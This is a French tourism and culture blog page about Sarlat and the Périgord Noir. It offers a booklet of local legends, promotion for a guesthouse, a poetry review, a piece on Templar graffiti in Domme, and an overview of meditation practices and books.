Sarlat insolite

1 commentaire

Soléa sur cette image rêve. Elle tente peut-être de t’imaginer, lecteur… Parle-lui, dis lui qui tu es, ce que tu ressens quand elle te fait visiter les profondeurs humaines et enchanteresse du Périgord Noir
https://www.facebook.com/groups/sarlat

Sarlat insolite : le livre se trouve ici

 

Le Carnet des Légendes Secrètes de Sarlat et du Périgord Noir

Introduction : Le murmure des pierres

Bienvenue, voyageur curieux. Ne crois pas entrer dans une ville ordinaire. Sarlat n’est pas une ville, c’est un passage, une porte entre les mondes. Ici, les pierres se souviennent de chaque pas qui les a foulées et les ombres chuchotent à qui sait s’arrêter pour écouter. Ouvre ce carnet, et laisse-toi guider par le murmure. Chaque page est une invitation à franchir une porte invisible, vers les secrets que la ville protège jalousement.

——————————————————————————–

1. Les Figures Mystérieuses des Ruelles de Sarlat

Dans le labyrinthe des ruelles pavées, des esprits silencieux errent, ni d’hier, ni d’aujourd’hui. Ce sont les gardiens des mémoires de Sarlat. Je te les présente, mais sois discret, car ils n’aiment pas être dérangés.

1.1. La Dame Blanche de Puymartin

Dans la tour nord du château de Puymartin, une lueur pâle s’éveille chaque nuit. C’est la Dame Blanche, prisonnière d’un amour maudit. Condamnée pour l’éternité, elle glisse sur les dalles sans un bruit, ses voiles effleurant les portes closes. Son chagrin est si profond que la pierre elle-même en exhale un froid glacial. Si tu tends l’oreille dans le silence de la nuit, tu entendras peut-être son murmure éternel : « Pourquoi m’avoir scellée au silence ? ».

1.2. Jacquou le Croquant, l’Enfant de la Colère

Les anciens murmurent que Jacquou est né d’un éclair tombé sur la lande, un soir de grande colère. Il n’est pas qu’un enfant des forêts ; il est le grondement de la terre, la mémoire des humiliés. Il est le souvenir vivant que même les plus modestes peuvent se révolter. Les pieds nus sur les pierres, il avance, et les ruisseaux lui apprennent à se faufiler entre les ombres. Dans ses yeux brillent deux braises : la promesse qu’un jour, enfin, la peur changera de camp.

1.3. Les Gardiens Discrets

Sarlat abrite des présences plus fugitives encore, des silhouettes que l’on n’aperçoit que du coin de l’œil. Elles veillent sur les secrets, tout comme Le Badaud, cette statue moqueuse qui écoute la nuit les confidences que l’on ne peut faire aux vivants.

Le Personnage Son Secret Murmuré
Le moine murmureur Il flotte sans jamais toucher les murs et répète un seul mot mystérieux que personne ne comprend, mais que beaucoup ont reconnu.
L’enfant au capuchon Il passe des deux côtés et fredonne une vieille berceuse. Le suivre fait perdre quelque chose, mais retrouver un souvenir.
La femme derrière la porte Elle apparaît là où il n’y a pas de porte. Elle ne regarde personne, mais sait qu’on la regarde, puis disparaît.

Mais ne crois pas que ces âmes errantes soient les plus grands mystères. Elles ne font que garder les portes de lieux où le temps lui-même a peur de s’aventurer.

——————————————————————————–

2. Les Lieux où le Temps s’est Arrêté

Certains lieux du Périgord sont comme des livres de pierre ouverts sur l’éternité. Leurs murs sont des pages chargées d’histoires, leurs silences remplis de murmures.

2.1. La Lanterne des Morts : La Lumière des Songes

On la croit silencieuse, cette tour de pierre étrange qui se dresse vers le ciel. Autrefois, sa lumière guidait les âmes des défunts. Aujourd’hui, elle n’éclaire plus les tombes, elle éclaire les songes. C’est un lieu où une voyageuse comme Soléa sentirait le poids des rêves et des prières accumulés depuis des siècles. Chaque nuit, elle écoute et se souvient de tout : des chants oubliés et du souffle des malades d’autrefois.

2.2. Les Châteaux Veilleurs de la Dordogne

Comme des géants de pierre, les châteaux du Périgord se surveillent depuis des siècles. Mais ils ne veillent pas seulement sur la rivière ; ils gardent aussi les secrets qui dorment sous la terre, dans les grottes profondes. Chacun possède une âme unique.

  • Beynac : Le Vertige du Temps. Suspendu au-dessus du vide, ce château défie la falaise et le temps. Ses pierres blondes racontent encore les histoires de sièges et de guerres qui ont duré cent ans.
  • Castelnaud : L’Écho des Batailles. C’est un livre de guerre creusé dans la roche. La nuit, si l’on écoute bien, on peut presque entendre le grincement des machines de guerre et les pas des chevaliers sur les courtines.
  • Commarque : La Cité des Ombres. C’est un lieu où les époques se touchent : on peut presque voir un chevalier du Moyen Âge passer devant une grotte où vécurent les premiers hommes. Ressuscitée de ses ruines, cette cité fantôme lutte contre l’oubli.
  • Milandes : Le Rêve de Joséphine. Ce château ne résonne pas des échos de la guerre, mais des rires des enfants venus du monde entier. Il abrite le rêve de l’artiste Joséphine Baker : un monde sans frontières, où l’espoir et la danse effacent les préjugés.

2.3. Domme et le Secret des Templiers

Perchée sur son rocher, Domme est une Bastide insoumise. Ses remparts protègent un secret. Dans la Porte des Tours, les chevaliers Templiers ont gravé d’étranges signes dans la pierre. La légende ne parle pas de chevaliers anonymes. Elle murmure un nom : Guillaume. On dit qu’il erre encore entre la Cathédrale de Sarlat et cette porte, veillant sur ce qui fut caché. Lorsque la brume monte, ces graffitis s’animent parfois, comme un ultime appel lancé dans une langue perdue. Peut-être la même que celle du moine murmureur…

Et pourtant, écoute bien… Les plus grands secrets ne sont pas gravés dans les remparts, mais enfouis sous la terre que ces forteresses surveillent.

——————————————————————————–

3. Les Échos du Monde Invisible

Le Périgord possède une âme cachée, une magie qui se révèle dans sa nature, ses saveurs et ses créatures oubliées.

3.1. La Forêt Noire et les Grottes Oubliées

La forêt du Périgord Noir respire comme un animal ancien. La lumière et l’ombre y dansent un jeu éternel. Mais c’est sous cette forêt que dorment les plus vieux secrets. Des grottes oubliées conservent la mémoire de bêtes disparues. Là, dans un silence absolu, les ombres des ours et des bisons glissent sur les parois, et l’on peut encore sentir le battement de cœurs disparus qui résonne sous la roche.

3.2. La Salamandre, Gardienne des Flammes

Sur un pavé ou un linteau, elle apparaît et disparaît. Avec sa peau d’obsidienne qui luit, ce reptile de feu et de ténèbres est la gardienne des secrets de Sarlat. Elle glisse entre deux ombres, se fige dans un rayon de lune. En elle, Sarlat cache la mémoire de ses métamorphoses, de ses incendies et de ses renaissances.

3.3. La Magie dans l’Assiette : Les Saveurs qui Racontent des Histoires

Pour une voyageuse comme Soléa, même la nourriture a une âme. Chaque saveur est une porte ouverte sur un souvenir, un geste, une émotion oubliée.

  • Le pain et le fromage : Une bouchée peut faire resurgir les gestes d’une grand-mère coupant la miche, et le son d’une voix qui parle de prendre soin du vivant qui ne crie pas.
  • La noix : Son arôme éveille la mémoire des veillées paysannes, où chaque noix racontait une histoire faite de rires et de songes.
  • Le vin : Il ne fait pas naître une saveur, mais un souvenir. Celui d’un hiver, de mains froides qui se réchauffaient autour d’un gobelet de terre, et d’un conseil murmuré : « Bois doucement. Le vin ne dit pas tout d’un coup. »
  • La truffe : Ce diamant noir est un mystère. Son odeur de terre mouillée et d’étoiles lointaines est un secret qui relie les racines les plus profondes de la forêt aux constellations dans le ciel.

Conclusion : L’Invitation au Voyage

Tu refermes ce carnet, mais le voyage ne fait que commencer. En Périgord, le passé ne dort pas loin ; il respire sous chaque pierre, se lève dans chaque ruelle et glisse entre tes pas. La prochaine fois que tu te promèneras à Sarlat, souviens-toi de ces secrets que je t’ai confiés. Ouvre grand les yeux, et plus encore les oreilles. Les légendes sont toujours là, vivantes, murmurant à ceux qui prennent le temps de les écouter.

Sarlat et le Périgord Noir, une escale nature et bien-être pour se ressourcer

0 commentaires

Entre vallées verdoyantes et villages de pierre, le Périgord Noir offre un refuge idéal pour ceux qui recherchent le calme, la nature et une atmosphère bienveillante. Un séjour où l’on prend le temps de respirer
 
 

Un havre de paix entre nature et patrimoine

Le Périgord Noir est une invitation à ralentir, à se laisser envelopper par la douceur d’un paysage où la nature et l’histoire se côtoient en parfaite harmonie. Les ruelles pavées de Sarlat, bordées de bâtisses en pierre dorée, dégagent une atmosphère paisible, propice à la contemplation. À quelques kilomètres, la bastide de Domme, perchée sur son promontoire, offre un panorama à couper le souffle, où l’horizon s’étire entre collines boisées et méandres de la Dordogne.

Les amoureux de grands espaces trouvent ici un écrin idéal pour se reconnecter à eux-mêmes. Les familles, quant à elles, apprécient les balades accessibles aux petits comme aux grands, où chacun peut découvrir à son rythme les trésors cachés du territoire. Les sentiers serpentent entre forêts profondes, falaises calcaires et prairies fleuries, offrant à chaque détour une vue apaisante sur un patrimoine préservé.

 

Le bien-être au rythme du Périgord

Au-delà de ses paysages enchanteurs, le Périgord Noir cultive un art de vivre axé sur la sérénité et le bien-être. Les visiteurs en quête d’une pause régénérante apprécient les séjours en maison d’hôtes, où l’accueil chaleureux et l’attention aux petits détails créent un cadre propice à la détente.

Aux Meulières, à Domme, Marianne et Jean-Marc proposent bien plus qu’un simple hébergement : une véritable expérience de ressourcement, accessible à tous. Entre massages bien-être, séances de méditation guidée, ateliers d’écriture et espaces dédiés aux familles, chaque instant est pensé pour favoriser un retour à l’essentiel. Les repas en table d’hôtes sont préparés avec soin, mettant à l’honneur les saveurs du terroir, dans une ambiance conviviale et apaisante.

👉 Découvrez Les Meulières ici : Les Meulières – Maison d’hôtes et bien-être

 

Une gastronomie en harmonie avec la nature

Un séjour en Périgord Noir, c’est aussi une découverte culinaire où la nature joue un rôle central. Ici, la cuisine suit le rythme des saisons et met en avant des produits issus du terroir local. Miels artisanaux, fromages affinés, noix du Périgord, truffes parfumées et légumes du jardin composent des assiettes à la fois généreuses et équilibrées.

Les marchés traditionnels de Sarlat, Domme et des villages alentour sont de véritables invitations à l’éveil des sens. Flâner entre les étals, rencontrer les producteurs et goûter des spécialités élaborées avec passion font partie intégrante de l’expérience. En couple ou en famille, chacun y trouve de quoi éveiller ses papilles, avant de savourer ces délices dans une auberge de campagne, un pique-nique en pleine nature, ou un restaurant convivial.

 
 

Marcher, respirer, contempler

Le Périgord Noir est une terre de randonnées où chaque pas rapproche un peu plus du bien-être. Que ce soit le long de la Dordogne, dans les vallées secrètes du Céou, ou sur les hauteurs dominant les châteaux millénaires, chaque itinéraire invite à une reconnexion profonde avec la nature.

Les familles peuvent opter pour des sentiers adaptés aux enfants, tandis que les couples et les amateurs de marche méditative trouvent ici un terrain propice à l’introspection. Certains parcours, comme celui de la forêt de Bessède, offrent une immersion totale dans un écrin de verdure, où seuls le chant des oiseaux et le bruissement des feuilles accompagnent le voyage.

 
 

L’art de prendre son temps

Dans un monde où tout va vite, le Périgord Noir propose une approche différente du voyage : celle du slow tourisme. Ici, pas de précipitation, mais une invitation à savourer chaque instant, à écouter le silence, à sentir les parfums du sous-bois, à apprécier la chaleur d’un foyer accueillant.

Les hébergements de charme, comme Les Meulières, participent à cette expérience en proposant un cadre où chacun trouve sa place. Les couples y savourent une parenthèse romantique, les familles apprécient l’espace et la bienveillance des hôtes, et les voyageurs solitaires profitent d’un cadre propice au repos et à la réflexion.

Qu’il s’agisse d’un week-end en amoureux, d’une parenthèse bien-être en famille ou en solo, ou d’un séjour en quête de ressourcement, le Périgord Noir est la promesse d’une reconnexion avec l’essentiel.

👉 Réservez votre séjour aux Meulières ici : Les Meulières – Maison d’hôtes et bien-être

 

 

Tel 07 70 40 87 31 – Mail blancheriejm@gmail.com

Une adresse idéale pour un séjour éco-responsable et slow tourisme

Les Meulières incarnent parfaitement l’esprit du slow tourisme, une invitation à ralentir et à savourer chaque instant dans un cadre naturel préservé. Ici, l’hospitalité rime avec respect de l’environnement et bien-être global. Dans cette maison d’hôtes pensée pour la déconnexion et le ressourcement, le temps s’étire entre balades en pleine nature, pratiques de bien-être et moments d’échange conviviaux.

Les amoureux de lecture trouvent leur bonheur dans les espaces dédiés à la détente, où une bibliothèque bien fournie propose un choix éclectique d’ouvrages pour tous les âges. Entre deux pages, il est facile de s’accorder une pause sur la terrasse ombragée, bercé par le chant des oiseaux et le murmure du vent dans les arbres.

Le respect du cadre naturel est au cœur de l’expérience : les repas sont préparés avec des produits locaux et de saison, l’énergie est gérée de manière responsable, et les activités proposées privilégient une approche douce et authentique du territoire. Aux Meulières, chaque instant est une célébration de la simplicité et du bien-être partagé.

👉 Vivez l’expérience des Meulières : Des détails ! Les Meulières – Maison d’hôtes et bien-être

 

La voix poétique d’Hervé Ménardie, un écho universel

2 commentaires

La poésie d'Hervé Ménardie, ici

Quand la poésie d’Hervé Ménardie nous révèle la beauté et la fragilité de l’âme humaine

Une poésie qui capte l’essence de l’humanité

Dans l’univers littéraire, certaines voix résonnent avec une intensité rare. Celles qui, d’un mot, ouvrent des horizons insoupçonnés. Hervé Ménardie appartient à cette catégorie d’auteurs dont chaque vers suscite une réflexion profonde. Son recueil, tissé de métaphores et d’évocations subtiles, invite à une plongée dans les méandres de l’âme humaine.

Des mots sculptés, une liberté affirmée

L’écriture d’Hervé Ménardie est une quête. Chaque mot est à la fois un sillage et une empreinte. Chaque poème, ciselé comme une sculpture de langage, offre une liberté d’interprétation où chaque lecteur trouve un écho à ses propres questionnements.

Par la richesse de ses images et la musique de ses phrases, ce recueil dépasse la simple expression littéraire pour devenir un espace de résonance universel.

La poésie comme fenêtre sur l’invisible

La beauté du monde réside dans sa diversité, dans les contrastes qui tissent l’expérience humaine. Entre ombres et lumières, joies et peines, les textes d’Hervé Ménardie sont des fenêtres ouvertes sur l’essentiel. Ils capturent l’éphémère, rendent tangible l’insaisissable. Les émotions y affluent, tantôt douces, tantôt brûlantes, dessinant une cartographie intime des sentiers intérieurs. L’amour, la perte, l’espérance, autant de thèmes que l’auteur explore avec une sensibilité rare.

Une rencontre entre texte et image

L’originalité de ce recueil réside aussi dans le dialogue qu’il instaure entre la poésie et l’image. Chaque poème est accompagné d’illustrations d’une puissance évocatrice étonnante. Ces visuels prolongent et font écho la lecture… et réciproquement ! Le lecteur est ainsi convié à une double expérience sensorielle : celle du verbe et celle de la matière visuelle. Les dessins et peintures qui jalonnent l’ouvrage s’harmonisent aux mots, offrant ce voyage introspectif.

Une invitation à redécouvrir la poésie

Dans un monde où tout s’accélère, la poésie se déploie comme un refuge, une pause nécessaire pour ressentir pleinement le présent. Ce livre rappelle combien les mots peuvent être des passerelles entre les êtres, des tremplins vers l’ailleurs. Hervé Ménardie nous rappelle que la poésie n’est pas un art figé : c’est une vibration, un souffle. Un espace où l’intime rejoint l’universel, où chacun peut, l’espace d’un instant, se retrouver lui-même, dans l’universel.

La croix templière de Domme : mystères gravés dans la pierre

0 commentaires

La Porte des Tours, gardienne des secrets templiers

En l’an de grâce 1307, sous l’ombre des murs puissants de la Porte des Tours, les chevaliers du Temple furent emprisonnés, victimes des sombres machinations de Philippe le Bel. Ces murs, témoins silencieux d’un destin tragique, portent encore aujourd’hui les marques laissées par ces hommes. Parmi ces gravures, la croix templière se distingue, sobre mais riche de sens, symbole d’une foi inébranlable dans une époque troublée.

Dans le calme imposant de cette bastide perchée au-dessus de la vallée de la Dordogne, ces marques racontent une histoire vieille de plus de sept siècles. Gravées dans la pierre, elles portent la mémoire des chevaliers qui, face à leur sort incertain, trouvèrent refuge dans la prière et l’art sacré.

 

Le livre est disponible ici dans notre maison d’édition
Une croix empreinte de foi et de mystère

La croix templière de Domme, bien que simple dans son dessin, est un puissant symbole d’appartenance et de résistance. Gravée par des mains emprisonnées, elle révèle l’attachement des Templiers à leur mission divine et leur refus de céder à la désespérance.

Certains chercheurs suggèrent que ces gravures pourraient contenir des messages cryptés, traces d’une connaissance sacrée préservée par les Templiers. Mais même dépouillée de telles spéculations, la croix reste un témoignage poignant de la foi de ces hommes face à l’adversité.

Les graffitis templiers, une mémoire fragile

En ces lieux chargés d’histoire, chaque gravure est précieuse, mais leur existence est menacée. L’érosion du temps et l’usure naturelle effacent peu à peu ces graffitis templiers, malgré les efforts de conservation. Le célèbre chanoine Tonnelier, qui réalisa dans les années 1970 des relevés précis par estampillage, avertissait déjà de leur fragilité.

Ces marques ne sont pas seulement des éléments décoratifs ou historiques : elles incarnent un cri silencieux, un dialogue entre le passé et le présent. Perdre ces gravures, c’est laisser s’éteindre une part de la mémoire de Domme et de ses chevaliers.

Une histoire gravée dans les pierres de Domme

La bastide de Domme, perchée sur une falaise de calcaire blond, offre bien plus qu’un panorama sur la vallée de la Dordogne. Ses remparts, ses ruelles pavées, et surtout la Porte des Tours évoquent une époque où le sacré et l’histoire s’entremêlaient.

Les croix templières gravées sur les murs sont des invitations à explorer un passé riche de mystères et de légendes. À travers ces marques, on entrevoit les vies et les espoirs de ceux qui, même emprisonnés, aspiraient à quelque chose de plus grand qu’eux-mêmes.

Domme, entre légendes et patrimoine

Domme, joyau du Périgord Noir, est un lieu où chaque pierre raconte une histoire. La croix templière, symbole central de ce récit, attire les passionnés d’histoire médiévale et de spiritualité. Mais au-delà du symbole, elle nous rappelle la fragilité de l’héritage laissé par les hommes du passé.

La bastide elle-même est un chef-d’œuvre d’urbanisme médiéval, conçue pour protéger et élever. Ses remparts et ses portes monumentales sont le théâtre de récits où se croisent chevaliers, pèlerins et simples voyageurs. Dans ce décor intemporel, la croix templière s’inscrit comme une clé, un point d’entrée vers une histoire encore à déchiffrer.

Un symbole qui traverse les âges

La croix templière de Domme, gravée dans la pierre séculaire de la Porte des Tours, est au-delà du vestige. Elle incarne un héritage spirituel et historique qui continue de captiver et d’inspirer : il est vécu par tous ceux qui viennent à Domme

À Domme, chaque visiteur peut se connecter à cette histoire, ressentir le poids des siècles, et imaginer les récits de ceux qui, malgré l’adversité, ont laissé derrière eux ces marques indélébiles. L’histoire des Templiers est celle des croisades et de leur chute tragique, mais aussi celle de leur humanité gravée dans les murs de Domme. Un mystère toujours vivant, une invitation à rêver et à découvrir.

Les méditations à la Maison des thérapies douces de Sarlat

0 commentaires

La méditation est maintenant entrée dans les pratiques courantes de nos sociétés. Ses bienfaits, ses utilités, sont considérés comme essentiels, notamment par contraste avec ce que nous vivons au quotidien comme tensions, dispersions, douleurs…

La Maison des Thérapies Douces à Sarlat est animée par des pratiquants et animateurs de longue date de la méditation. Marianne a d’ailleurs écrit un livre sur La méditation pleine conscience.
Nous proposons ici des pratiques accessibles, des accompagnements qui mettent la méditation à portée de chacun, tout en permettant son vécu le plus profond et transformateur.

Des approches diverses de la méditation sont ici proposées, à Sarlat, ou en ligne

La méditation pleine conscience

Le livre Méditation pleine conscience de Marianne Blancherie accompagne, depuis des années, cette pratique fondamentale de la méditation. Le guide pratique, riche en conseils et en exercices, vous invite à découvrir et à pratiquer la méditation pleine conscience pour transformer votre vie quotidienne. La pleine conscience est un type de méditation dans lequel vous vous concentrez sur la conscience intense de ce que vous ressentez et ressentez sur le moment, sans interprétation ni jugement

Un Voyage Vers la Pleine Conscience Dès les premières pages, l’auteur nous plonge dans l’univers de la pleine conscience, une pratique ancestrale popularisée par le maître zen vietnamien Thich Nhat Hanh et adaptée au monde occidental par Jon Kabat-Zinn. La pleine conscience consiste à tourner notre attention vers l’instant présent sans jugement, permettant ainsi une connexion profonde avec soi-même et le monde qui nous entoure​

Pourquoi Méditer ? Dans un monde en constante transformation, marqué par un hyper-matérialisme et un stress croissant, la méditation pleine conscience apparaît comme un antidote indispensable. Elle aide à réduire l’anxiété, améliore la santé mentale et physique, et favorise une perspective plus altruiste et compassionnelle sur la vie​

Les Fondamentaux de la Méditation Pleine Conscience Le livre est structuré autour de trois piliers essentiels :

  1. Les bases de la Méditation Pleine Conscience : Comprendre les principes fondamentaux et les bienfaits de cette pratique.
  2. Les méditations fondamentales : Deux techniques principales sont proposées – la méditation Corps et Conscience et la méditation par le vide. Ces méthodes sont conçues pour vous initier progressivement et efficacement à la pleine conscience.
  3. Les méditations thématiques : Des exercices spécifiques comme la méditation sur le souffle et la méditation de la Paix sont détaillés pour approfondir votre pratique et aborder divers aspects émotionnels et mentaux​

Un Programme de Pratique Structuré L’auteur propose un programme quotidien de méditation, simple à intégrer dans votre routine. En seulement vingt minutes par jour, vous pouvez commencer à ressentir les bénéfices de la pleine conscience. Chaque méditation est guidée pas à pas, avec des instructions claires pour vous aider à vous installer confortablement, adapter votre respiration et concentrer votre esprit​ Annexes et Méditations Guidées Pour compléter votre apprentissage, le livre inclut des annexes détaillant les textes des méditations et des exercices pratiques.

La méditation bouddhique

L’ouvrage de référence est « L’art de la méditation », de Matthieu Ricard, ouvrage précieux pour quiconque souhaite explorer et pratiquer la méditation.
Il met en lumière les bienfaits de la méditation, non seulement pour l’esprit mais aussi pour la santé physique et émotionnelle, comme le démontrent de nombreuses études scientifiques. L’auteur explique que la méditation est une pratique millénaire, accessible à tous, indépendamment de leur engagement religieux. Il insiste sur le fait que méditer ne nécessite pas de se retirer du monde, mais peut être intégré dans notre quotidien, même si l’on ne dispose que de 30 minutes par jour.
Pourquoi méditer ? Matthieu Ricard pose des questions essentielles sur le sens de notre existence et la quête du bonheur. Il explique que la méditation est un moyen de transformer notre esprit, de cultiver des qualités humaines fondamentales telles que l’amour altruiste, la paix intérieure, l’équilibre émotionnel et la sagesse.
Qu’est-ce que méditer ? La méditation, selon Ricard, est un entraînement de l’esprit qui permet de développer une vision claire et juste des choses. Il démystifie la pratique en expliquant qu’il ne s’agit pas de faire le vide dans son esprit mais de se familiariser avec une nouvelle compréhension du monde. L’auteur propose des exercices pratiques issus du bouddhisme pour guider les débutants comme les pratiquants plus avancés.
Comment méditer ? L’ouvrage offre une multitude de techniques et de méditations spécifiques, allant de la pleine conscience à la méditation sur l’amour altruiste et la compassion. Ricard détaille la posture, la respiration et la concentration nécessaires pour chaque type de méditation, et insiste sur l’importance de la persévérance et de l’enthousiasme dans la pratique.
Bienfaits de la méditation : Des études scientifiques citées par Ricard montrent que la méditation peut réduire l’anxiété, la dépression, et la colère, renforcer le système immunitaire et améliorer le bien-être général. Il démontre que même une pratique quotidienne de 20 minutes peut avoir des effets profonds et bénéfiques sur notre vie.

La méditation présentée par Matthieu Ricard dans « L’art de la méditation » est profondément enracinée dans les enseignements bouddhistes.

  • Les Objectifs de la Méditation : La méditation bouddhique vise la transformation de l’esprit pour atteindre des états de conscience élevés tels que la compassion, la paix intérieure, et la sagesse. Ricard insiste sur la capacité de la méditation à cultiver l’amour altruiste, l’équilibre émotionnel, et la réduction des afflictions mentales, des objectifs classiques dans le bouddhisme.
  • Les Techniques et Pratiques : Les exercices proposés par Ricard, comme la méditation de la pleine conscience (shamatha) et la vision pénétrante (vipassana), sont des techniques méditatives bouddhistes traditionnelles. La pleine conscience consiste à maintenir une attention stable sur le souffle ou d’autres objets de méditation, tandis que la vision pénétrante analyse la nature des pensées et des émotions pour comprendre leur impermanence et leur interdépendance.
  • La Philosophie Bouddhiste : Ricard intègre des concepts bouddhistes clés tels que l’interdépendance de tous les phénomènes, l’impermanence, et l’absence d’un soi intrinsèque (anatta). Il explique que la compréhension et l’intégration de ces concepts à travers la méditation permettent de réduire la souffrance et d’atteindre un bonheur durable.
  • Les Bienfaits Spirituels et Pratiques : L’idée que la méditation ne vise pas seulement à améliorer le bien-être personnel mais aussi à développer des qualités bénéfiques pour tous les êtres sensibles est un aspect central du bouddhisme. La méditation bouddhiste n’est pas une pratique égoïste ; elle est orientée vers l’altruisme et le service aux autres.
  • La Motivation et l’Éthique : La motivation derrière la pratique méditative, selon Ricard, doit être altruiste. Il insiste sur l’importance de la motivation pure (bodhicitta), qui est le désir de pratiquer pour le bénéfice de tous les êtres. Cette motivation est un fondement de la voie du Bodhisattva dans le bouddhisme Mahayana.
  • L’Entraînement Graduel de l’Esprit : Le chemin de la méditation dans le bouddhisme est souvent décrit comme un entraînement graduel. Ricard suit cette tradition en proposant des exercices progressifs, de la concentration de base à la méditation plus avancée sur la nature de l’esprit.

Les méditations guidées

Nous avons conçu des méditations appropriées pour diverses problématiques. A vous de nous dire celles que vous sentez vous concerner particulièrement.

Certaines proposent un lien avec d’autres pratiques de médecine douce. Par exemple avec les huiles essentielles !

 

 

 


Le tourisme en Dordogne et son avenir

0 commentaires

Chaque année le Périgord reçoit 3 millions de touristes, et cela va croissant. Pour autant, il ne faudrait pas que la Dordogne devienne vraiment un espace réservé au tourisme de masse. Son attrait est dû à des qualités qui sont à l’opposé de la mode, de la frénésie de visites superficielles, de la foule qui empêche de s’attarder sur la beauté, sur l’instant, sur la rencontre.

Culture Périgord souhaite contribuer à un tourisme qualitatif, dont l’attrait se trouve dans l’identité profonde des lieux, la beauté du patrimoine, la bienveillance de l’accueil. L’avenir du tourisme, ici, c’est le tourisme culturel, le slow tourisme, le tourisme spirituel, le tourisme de bien-être…
Le PODCAST est un moyen privilégié pour faire connaître le Périgord sous cet angle. Il s’affranchit des écrans omniprésents (même si on y entre par un écran, mais c’est pour mieux l’abandonner ensuite !) : on l’écoute tranquillement, là où l’on se trouve, on sort du temps compté, on retient sans effort les explications, ou mieux… les récits : notre création magique, c’est mettre en récit les richesses du Périgord, le patrimoine, les expériences à y vivre, les connaissances qui y resurgissent depuis que l’Homme a décidé de s’installer sur cette terre privilégiée, dans cette « vallée de l’homme ».

Nous proposons aux professionnels et aux acteurs du tourisme qui croient à l’avenir par la qualité, au bien-vivre, à la joie de l’accueil, de rejoindre ce site et d’y trouver un référencement différent. Inscrivez-vous à la newsletter, entrez en contact ici ou par mail cultureperigord@gmail.com

Bastide de Domme. Histoire du « balcon du Périgord Noir »

Bastide de Domme. Histoire du « balcon du Périgord Noir »

L'Histoire de la Bastide Royale de Domme Domme est une bastide royale, ce qui signifie qu'elle a été créée de toutes pièces par le roi de France, et non développée autour d'un château préexistant. 1281 : La Fondation Royale La bastide fut fondée en 1281 par le roi de...

Sarlat insolite

Sarlat insolite

Le Carnet des Légendes Secrètes de Sarlat et du Périgord Noir

Les héros d’un manga captivant font halte chez vous

Les héros d’un manga captivant font halte chez vous

Et si votre activité, votre événement ou votre commerce devenait, en manga, le décor d’une aventure illustrée ? Nos héros, jeunes, curieux et pleins d’énergie, se baladent en Nouvelle-Aquitaine, à la découverte des lieux qui font vibrer la région.

Fêtes Magiques au Château de Castelnaud

Fêtes Magiques au Château de Castelnaud

Une plongée dans l’histoire et l’enchantement   Noël magique au château de Castelnaud Plongée dans l’histoire et l’enchantement Au cœur du Périgord noir, le château de Castelnaud invite les familles à découvrir un Noël comme nul autre. Décoré avec soin pour les...

La croix templière de Domme : mystères gravés dans la pierre

La Porte des Tours, gardienne des secrets templiers En l’an de grâce 1307, sous l’ombre des murs puissants de la Porte des Tours, les chevaliers du Temple furent emprisonnés, victimes des sombres machinations de Philippe le Bel. Ces murs, témoins silencieux d’un...

Lou Cocal : la biscuiterie sarladaise et l’Histoire

Lou Cocal : la biscuiterie sarladaise et l’Histoire

Découvrez l’histoire émouvante d’Olivier Charpenet, créateur de LOU COCAL à Sarlat, inspiré par les recettes de son ancêtre Simon Laval, cuisinier sous Napoléon, et son cahier de recettes périgourdines, qui marie tradition et modernité.

Un Manga à Sarlat : L’APPEL DE LA LANTERNE

Un Manga à Sarlat : L’APPEL DE LA LANTERNE

🌟 À Sarlat, une aventure hors du temps vous attend ! 🌟 Dans notre ville, où l’histoire se mêle au quotidien, Sarah, Lucas et Néo s’apprêtent à percer le mystère de la Lanterne des morts. 🏰Mais Sarlat n'est pas seulement une ville touristique. Derrière ses pierres...

Sarlat insolite

Sarlat insolite

Le Carnet des Légendes Secrètes de Sarlat et du Périgord Noir

La croix templière de Domme : mystères gravés dans la pierre

La Porte des Tours, gardienne des secrets templiers En l’an de grâce 1307, sous l’ombre des murs puissants de la Porte des Tours, les chevaliers du Temple furent emprisonnés, victimes des sombres machinations de Philippe le Bel. Ces murs, témoins silencieux d’un...

Les méditations à la Maison des thérapies douces de Sarlat

Les méditations à la Maison des thérapies douces de Sarlat

La méditation est maintenant entrée dans les pratiques courantes de nos sociétés. Ses bienfaits, ses utilités, sont considérés comme essentiels, notamment par contraste avec ce que nous vivons au quotidien comme tensions, dispersions, douleurs... La Maison des...

Le tourisme en Dordogne et son avenir

Le tourisme en Dordogne et son avenir

Chaque année le Périgord reçoit 3 millions de touristes, et cela va croissant. Pour autant, il ne faudrait pas que la Dordogne devienne vraiment un espace réservé au tourisme de masse. Son attrait est dû à des qualités qui sont à l'opposé de la mode, de la frénésie de...

Sur le chemin de St Jacques de Compostelle : Domme

Sur le chemin de St Jacques de Compostelle : Domme

ETAPE – CASTELNAUD – SAINT JULIEN DE LAMPON – 31,2 km Source : http://www.compostelle-limousin-perigord.fr/index.php H = Hébergement. C = Commerces.CASTELNAUD – DOMME (H.C) : 9,3Depuis Tournepique, suivre la D 57 direction St Cybranet. Après 500 mètres tourner à...

Spiritualité Dordogne

Spiritualité Dordogne

La Dordogne est un haut lieu de spiritualité. Depuis le Moyen-Age, et bien avant, notamment avec l'art des cavernes, les humains y ont trouvé le lieu de l'élévation spirituelle, de son expression, de ses ondes favorables... Aujourd'hui, la spiritualité s'y exprime...

La voix poétique d’Hervé Ménardie, un écho universel

La voix poétique d’Hervé Ménardie, un écho universel

Quand la poésie d'Hervé Ménardie nous révèle la beauté et la fragilité de l'âme humaine Une poésie qui capte l'essence de l'humanité Dans l'univers littéraire, certaines voix résonnent avec une intensité rare. Celles qui, d'un mot, ouvrent des horizons insoupçonnés....

Lou Cocal : la biscuiterie sarladaise et l’Histoire

Lou Cocal : la biscuiterie sarladaise et l’Histoire

Et si je vous racontais une histoire ?(Presque) vrai storytelling de Jean-Marc Blancherie   Le Cahier de Simon : L'Héritage d'une Cuisine Oubliée   Sous les cieux lourds d’un hiver périgourdin, les gouttes de pluie glissaient sur les fenêtres embrumées de la...

Atelier d’écriture : le temps

Atelier d’écriture : le temps

Lire toute la page, puis participez (mail ici)    Cette image, à l'atmosphère profondément mystérieuse et surréaliste, nous transporte dans un monde où le temps semble être à la fois omniprésent et figé. Le centre de l'attention est une gigantesque horloge, ornée...

Thérapies douces

Thérapies douces

Tout ce que la Maison des Thérapies Douces peut vous apporter Et en face, à la Librairie La Licorne, nous proposons des livres, animations, conférences d'auteurs, qui vous permettent de compléter vos soins. ---

La Maison des thérapies Douces à Sarlat

La Maison des thérapies Douces à Sarlat

